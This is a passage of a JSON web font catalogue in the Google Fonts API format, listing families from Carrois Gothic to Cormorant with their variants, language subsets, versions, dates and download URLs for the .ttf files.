Gothic","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/carroisgothic/v11/Z9XPDmFATg-N1PLtLOOxvIHl9ZmD3i7ajcJ-.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Carrois Gothic SC","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/carroisgothicsc/v10/ZgNJjOVHM6jfUZCmyUqT2A2HVKjc-28nNHabY4dN.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Carter One","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/carterone/v12/q5uCsoe5IOB2-pXv9UcNIxR2hYxREMs.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Castoro","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v1","lastModified":"2020-11-20","files":{"regular":"http://fonts.gstatic.com/s/castoro/v1/1q2GY5yMCld3-O4cHYhEzOYenEU.ttf","italic":"http://fonts.gstatic.com/s/castoro/v1/1q2EY5yMCld3-O4cLYpOyMQbjEX5fw.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Catamaran","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["latin","latin-ext","tamil"],"version":"v7","lastModified":"2020-07-29","files":{"100":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPHjc1anXuluiLyw.ttf","200":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPPjd1anXuluiLyw.ttf","300":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPCbd1anXuluiLyw.ttf","regular":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPHjd1anXuluiLyw.ttf","500":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPErd1anXuluiLyw.ttf","600":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPKba1anXuluiLyw.ttf","700":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPJ_a1anXuluiLyw.ttf","800":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPPja1anXuluiLyw.ttf","900":"http://fonts.gstatic.com/s/catamaran/v7/o-0bIpQoyXQa2RxT7-5B6Ryxs2E_6n1iPNHa1anXuluiLyw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Caudex","variants":["regular","italic","700","700italic"],"subsets":["greek","greek-ext","latin","latin-ext"],"version":"v10","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/caudex/v10/esDQ311QOP6BJUrIyviAnb4eEw.ttf","italic":"http://fonts.gstatic.com/s/caudex/v10/esDS311QOP6BJUr4yPKEv7sOE4in.ttf","700":"http://fonts.gstatic.com/s/caudex/v10/esDT311QOP6BJUrwdteklZUCGpG-GQ.ttf","700italic":"http://fonts.gstatic.com/s/caudex/v10/esDV311QOP6BJUr4yMo4kJ8GOJSuGdLB.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Caveat","variants":["regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext"],"version":"v9","lastModified":"2020-11-06","files":{"regular":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjfJ9SIKjYBxPigs.ttf","500":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjcB9SIKjYBxPigs.ttf","600":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjSx6SIKjYBxPigs.ttf","700":"http://fonts.gstatic.com/s/caveat/v9/WnznHAc5bAfYB2QRah7pcpNvOx-pjRV6SIKjYBxPigs.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Caveat Brush","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v6","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/caveatbrush/v6/EYq0maZfwr9S9-ETZc3fKXtMW7mT03pdQw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Cedarville Cursive","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cedarvillecursive/v12/yYL00g_a2veiudhUmxjo5VKkoqA-B_neJbBxw8BeTg.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Ceviche One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cevicheone/v11/gyB4hws1IcA6JzR-GB_JX6zdZ4vZVbgZ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chakra Petch","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v4","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkeNIhFQJXE3AY00g.ttf","300italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpLJQp_A_gMk0izH.ttf","regular":"http://fonts.gstatic.com/s/chakrapetch/v4/cIf6MapbsEk7TDLdtEz1BwkmmKBhSL7Y1Q.ttf","italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfkMapbsEk7TDLdtEz1BwkWmqplarvI1R8t.ttf","500":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkebIlFQJXE3AY00g.ttf","500italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpKRQ5_A_gMk0izH.ttf","600":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkeQI5FQJXE3AY00g.ttf","600italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpK9RJ_A_gMk0izH.ttf","700":"http://fonts.gstatic.com/s/chakrapetch/v4/cIflMapbsEk7TDLdtEz1BwkeJI9FQJXE3AY00g.ttf","700italic":"http://fonts.gstatic.com/s/chakrapetch/v4/cIfnMapbsEk7TDLdtEz1BwkWmpLZRZ_A_gMk0izH.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Changa","variants":["200","300","regular","500","600","700","800"],"subsets":["arabic","latin","latin-ext"],"version":"v10","lastModified":"2020-06-26","files":{"200":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZy2xQjDp9htf1ZM.ttf","300":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ_OxQjDp9htf1ZM.ttf","regular":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ62xQjDp9htf1ZM.ttf","500":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ5-xQjDp9htf1ZM.ttf","600":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ3O2QjDp9htf1ZM.ttf","700":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZ0q2QjDp9htf1ZM.ttf","800":"http://fonts.gstatic.com/s/changa/v10/2-c79JNi2YuVOUcOarRPgnNGooxCZy22QjDp9htf1ZM.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Changa One","variants":["regular","italic"],"subsets":["latin"],"version":"v13","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/changaone/v13/xfu00W3wXn3QLUJXhzq46AbouLfbK64.ttf","italic":"http://fonts.gstatic.com/s/changaone/v13/xfu20W3wXn3QLUJXhzq42ATivJXeO67ISw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chango","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chango/v9/2V0cKI0OB5U7WaJyz324TFUaAw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Charm","variants":["regular","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/charm/v5/7cHmv4oii5K0MeYvIe804WIo.ttf","700":"http://fonts.gstatic.com/s/charm/v5/7cHrv4oii5K0Md6TDss8yn4hnCci.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Charmonman","variants":["regular","700"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-09-25","files":{"regular":"http://fonts.gstatic.com/s/charmonman/v5/MjQDmiR3vP_nuxDv47jiWJGovLdh6OE.ttf","700":"http://fonts.gstatic.com/s/charmonman/v5/MjQAmiR3vP_nuxDv47jiYC2HmL9K9OhmGnY.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Chathura","variants":["100","300","regular","700","800"],"subsets":["latin","telugu"],"version":"v6","lastModified":"2020-07-23","files":{"100":"http://fonts.gstatic.com/s/chathura/v6/_gP91R7-rzUuVjim42dEq0SbTvZyuDo.ttf","300":"http://fonts.gstatic.com/s/chathura/v6/_gP81R7-rzUuVjim42eMiWSxYPp7oSNy.ttf","regular":"http://fonts.gstatic.com/s/chathura/v6/_gP71R7-rzUuVjim418goUC5S-Zy.ttf","700":"http://fonts.gstatic.com/s/chathura/v6/_gP81R7-rzUuVjim42ecjmSxYPp7oSNy.ttf","800":"http://fonts.gstatic.com/s/chathura/v6/_gP81R7-rzUuVjim42eAjWSxYPp7oSNy.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Chau Philomene One","variants":["regular","italic"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chauphilomeneone/v10/55xxezRsPtfie1vPY49qzdgSlJiHRQFsnIx7QMISdQ.ttf","italic":"http://fonts.gstatic.com/s/chauphilomeneone/v10/55xzezRsPtfie1vPY49qzdgSlJiHRQFcnoZ_YscCdXQB.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Chela One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chelaone/v9/6ae-4KC7Uqgdz_JZdPIy31vWNTMwoQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chelsea Market","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chelseamarket/v8/BCawqZsHqfr89WNP_IApC8tzKBhlLA4uKkWk.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chenla","variants":["regular"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chenla/v13/SZc43FDpIKu8WZ9eXxfonUPL6Q.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cherry Cream Soda","variants":["regular"],"subsets":["latin"],"version":"v11","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cherrycreamsoda/v11/UMBIrOxBrW6w2FFyi9paG0fdVdRciTd6Cd47DJ7G.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cherry Swash","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/cherryswash/v9/i7dNIFByZjaNAMxtZcnfAy58QHi-EwWMbg.ttf","700":"http://fonts.gstatic.com/s/cherryswash/v9/i7dSIFByZjaNAMxtZcnfAy5E_FeaGy6QZ3WfYg.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chewy","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/chewy/v12/uK_94ruUb-k-wk5xIDMfO-ed.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chicle","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chicle/v9/lJwG-pw9i2dqU-BDyWKuobYSxw.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Chilanka","variants":["regular"],"subsets":["latin","malayalam"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chilanka/v6/WWXRlj2DZQiMJYaYRrJQI9EAZhTO.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Chivo","variants":["300","300italic","regular","italic","700","700italic","900","900italic"],"subsets":["latin","latin-ext"],"version":"v12","lastModified":"2020-09-02","files":{"300":"http://fonts.gstatic.com/s/chivo/v12/va9F4kzIxd1KFrjDY8Z_uqzGQC_-.ttf","300italic":"http://fonts.gstatic.com/s/chivo/v12/va9D4kzIxd1KFrBteUp9sKjkRT_-bF0.ttf","regular":"http://fonts.gstatic.com/s/chivo/v12/va9I4kzIxd1KFoBvS-J3kbDP.ttf","italic":"http://fonts.gstatic.com/s/chivo/v12/va9G4kzIxd1KFrBtQeZVlKDPWTY.ttf","700":"http://fonts.gstatic.com/s/chivo/v12/va9F4kzIxd1KFrjTZMZ_uqzGQC_-.ttf","700italic":"http://fonts.gstatic.com/s/chivo/v12/va9D4kzIxd1KFrBteVp6sKjkRT_-bF0.ttf","900":"http://fonts.gstatic.com/s/chivo/v12/va9F4kzIxd1KFrjrZsZ_uqzGQC_-.ttf","900italic":"http://fonts.gstatic.com/s/chivo/v12/va9D4kzIxd1KFrBteWJ4sKjkRT_-bF0.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Chonburi","variants":["regular"],"subsets":["latin","latin-ext","thai","vietnamese"],"version":"v5","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/chonburi/v5/8AtqGs-wOpGRTBq66IWaFr3biAfZ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cinzel","variants":["regular","500","600","700","800","900"],"subsets":["latin","latin-ext"],"version":"v10","lastModified":"2020-08-20","files":{"regular":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-tbnTYrvDE5ZdqU.ttf","500":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-uTnTYrvDE5ZdqU.ttf","600":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-gjgTYrvDE5ZdqU.ttf","700":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-jHgTYrvDE5ZdqU.ttf","800":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-lbgTYrvDE5ZdqU.ttf","900":"http://fonts.gstatic.com/s/cinzel/v10/8vIU7ww63mVu7gtR-kwKxNvkNOjw-n_gTYrvDE5ZdqU.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cinzel Decorative","variants":["regular","700","900"],"subsets":["latin"],"version":"v9","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cinzeldecorative/v9/daaCSScvJGqLYhG8nNt8KPPswUAPnh7URs1LaCyC.ttf","700":"http://fonts.gstatic.com/s/cinzeldecorative/v9/daaHSScvJGqLYhG8nNt8KPPswUAPniZoaelDQzCLlQXE.ttf","900":"http://fonts.gstatic.com/s/cinzeldecorative/v9/daaHSScvJGqLYhG8nNt8KPPswUAPniZQa-lDQzCLlQXE.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Clicker Script","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/clickerscript/v8/raxkHiKPvt8CMH6ZWP8PdlEq72rY2zqUKafv.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Coda","variants":["regular","800"],"subsets":["latin","latin-ext"],"version":"v16","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/coda/v16/SLXHc1jY5nQ8JUIMapaN39I.ttf","800":"http://fonts.gstatic.com/s/coda/v16/SLXIc1jY5nQ8HeIgTp6mw9t1cX8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Coda Caption","variants":["800"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-09-02","files":{"800":"http://fonts.gstatic.com/s/codacaption/v14/ieVm2YRII2GMY7SyXSoDRiQGqcx6x_-fACIgaw.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Codystar","variants":["300","regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/codystar/v8/FwZf7-Q1xVk-40qxOuYsyuyrj0e29bfC.ttf","regular":"http://fonts.gstatic.com/s/codystar/v8/FwZY7-Q1xVk-40qxOt6A4sijpFu_.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Coiny","variants":["regular"],"subsets":["latin","latin-ext","tamil","vietnamese"],"version":"v6","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/coiny/v6/gyByhwU1K989PXwbElSvO5Tc.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Combo","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/combo/v9/BXRlvF3Jh_fIhg0iBu9y8Hf0.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Comfortaa","variants":["300","regular","500","600","700"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v29","lastModified":"2020-06-26","files":{"300":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4TbMPrQVIT9c2c8.ttf","regular":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4WjMPrQVIT9c2c8.ttf","500":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4VrMPrQVIT9c2c8.ttf","600":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4bbLPrQVIT9c2c8.ttf","700":"http://fonts.gstatic.com/s/comfortaa/v29/1Pt_g8LJRfWJmhDAuUsSQamb1W0lwk4S4Y_LPrQVIT9c2c8.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Comic Neue","variants":["300","300italic","regular","italic","700","700italic"],"subsets":["latin"],"version":"v2","lastModified":"2020-07-23","files":{"300":"http://fonts.gstatic.com/s/comicneue/v2/4UaErEJDsxBrF37olUeD_wHLwpteLwtHJlc.ttf","300italic":"http://fonts.gstatic.com/s/comicneue/v2/4UaarEJDsxBrF37olUeD96_RTplUKylCNlcw_Q.ttf","regular":"http://fonts.gstatic.com/s/comicneue/v2/4UaHrEJDsxBrF37olUeDx63j5pN1MwI.ttf","italic":"http://fonts.gstatic.com/s/comicneue/v2/4UaFrEJDsxBrF37olUeD96_p4rFwIwJePw.ttf","700":"http://fonts.gstatic.com/s/comicneue/v2/4UaErEJDsxBrF37olUeD_xHMwpteLwtHJlc.ttf","700italic":"http://fonts.gstatic.com/s/comicneue/v2/4UaarEJDsxBrF37olUeD96_RXp5UKylCNlcw_Q.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Coming Soon","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/comingsoon/v12/qWcuB6mzpYL7AJ2VfdQR1u-SUjjzsykh.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Commissioner","variants":["100","200","300","regular","500","600","700","800","900"],"subsets":["cyrillic","cyrillic-ext","greek","latin","latin-ext","vietnamese"],"version":"v1","lastModified":"2020-10-08","files":{"100":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Ni-IO9pOXuRoaY.ttf","200":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Fi_IO9pOXuRoaY.ttf","300":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Ia_IO9pOXuRoaY.ttf","regular":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Ni_IO9pOXuRoaY.ttf","500":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Oq_IO9pOXuRoaY.ttf","600":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Aa4IO9pOXuRoaY.ttf","700":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5D-4IO9pOXuRoaY.ttf","800":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5Fi4IO9pOXuRoaY.ttf","900":"http://fonts.gstatic.com/s/commissioner/v1/tDbe2o2WnlgI0FNDgduEk4jAhwgIy5k8SlfU5HG4IO9pOXuRoaY.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Concert One","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v11","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/concertone/v11/VEM1Ro9xs5PjtzCu-srDqRTlhv-CuVAQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Condiment","variants":["regular"],"subsets":["latin","latin-ext"],"version":"v8","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/condiment/v8/pONk1hggFNmwvXALyH6Sq4n4o1vyCQ.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Content","variants":["regular","700"],"subsets":["khmer"],"version":"v13","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/content/v13/zrfl0HLayePhU_AwUaDyIiL0RCg.ttf","700":"http://fonts.gstatic.com/s/content/v13/zrfg0HLayePhU_AwaRzdBirfWCHvkAI.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Contrail One","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/contrailone/v10/eLGbP-j_JA-kG0_Zo51noafdZUvt_c092w.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Convergence","variants":["regular"],"subsets":["latin"],"version":"v9","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/convergence/v9/rax5HiePvdgXPmmMHcIPYRhasU7Q8Cad.ttf"},"category":"sans-serif","kind":"webfonts#webfont"},{"family":"Cookie","variants":["regular"],"subsets":["latin"],"version":"v12","lastModified":"2020-09-02","files":{"regular":"http://fonts.gstatic.com/s/cookie/v12/syky-y18lb0tSbfNlQCT9tPdpw.ttf"},"category":"handwriting","kind":"webfonts#webfont"},{"family":"Copse","variants":["regular"],"subsets":["latin"],"version":"v10","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/copse/v10/11hPGpDKz1rGb0djHkihUb-A.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Corben","variants":["regular","700"],"subsets":["latin","latin-ext"],"version":"v14","lastModified":"2020-07-23","files":{"regular":"http://fonts.gstatic.com/s/corben/v14/LYjDdGzzklQtCMp9oAlEpVs3VQ.ttf","700":"http://fonts.gstatic.com/s/corben/v14/LYjAdGzzklQtCMpFHCZgrXArXN7HWQ.ttf"},"category":"display","kind":"webfonts#webfont"},{"family":"Cormorant","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiRLmYgoyyYzFzFw.ttf","300italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qMUgIa2QTRjF8ER.ttf","regular":"http://fonts.gstatic.com/s/cormorant/v10/H4clBXOCl9bbnla_nHIa6JG8iqeuag.ttf","italic":"http://fonts.gstatic.com/s/cormorant/v10/H4cjBXOCl9bbnla_nHIq6pu4qKK-aihq.ttf","500":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiHLiYgoyyYzFzFw.ttf","500italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qNMgYa2QTRjF8ER.ttf","600":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiML-YgoyyYzFzFw.ttf","600italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qNghoa2QTRjF8ER.ttf","700":"http://fonts.gstatic.com/s/cormorant/v10/H4cgBXOCl9bbnla_nHIiVL6YgoyyYzFzFw.ttf","700italic":"http://fonts.gstatic.com/s/cormorant/v10/H4c-BXOCl9bbnla_nHIq6qMEh4a2QTRjF8ER.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Garamond","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v9","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQAllvuQWJ5heb_w.ttf","300italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPjuw-NxBKL_y94.ttf","regular":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3bmX5slCNuHLi8bLeY9MK7whWMhyjornFLsS6V7w.ttf","italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3ZmX5slCNuHLi8bLeY9MK7whWMhyjYrHtPkyuF7w6C.ttf","500":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQWlhvuQWJ5heb_w.ttf","500italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEO7ug-NxBKL_y94.ttf","600":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQdl9vuQWJ5heb_w.ttf","600italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEOXvQ-NxBKL_y94.ttf","700":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3YmX5slCNuHLi8bLeY9MK7whWMhyjQEl5vuQWJ5heb_w.ttf","700italic":"http://fonts.gstatic.com/s/cormorantgaramond/v9/co3WmX5slCNuHLi8bLeY9MK7whWMhyjYrEPzvA-NxBKL_y94.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant Infant","variants":["300","300italic","regular","italic","500","500italic","600","600italic","700","700italic"],"subsets":["cyrillic","cyrillic-ext","latin","latin-ext","vietnamese"],"version":"v10","lastModified":"2020-09-25","files":{"300":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN9951w3_DMrQqcdJrk.ttf","300italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItcDEhRoUYNrn_Ig.ttf","regular":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyPU44g9vKiM1sORYSiWeAsLN993_Af2DsAXq4.ttf","italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyJU44g9vKiM1sORYSiWeAsLN997_IV3BkFTq4EPw.ttf","500":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN995wQ2_DMrQqcdJrk.ttf","500italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItKDAhRoUYNrn_Ig.ttf","600":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN995ygx_DMrQqcdJrk.ttf","600italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItBDchRoUYNrn_Ig.ttf","700":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyIU44g9vKiM1sORYSiWeAsLN9950ww_DMrQqcdJrk.ttf","700italic":"http://fonts.gstatic.com/s/cormorantinfant/v10/HhyKU44g9vKiM1sORYSiWeAsLN997_ItYDYhRoUYNrn_Ig.ttf"},"category":"serif","kind":"webfonts#webfont"},{"family":"Cormorant 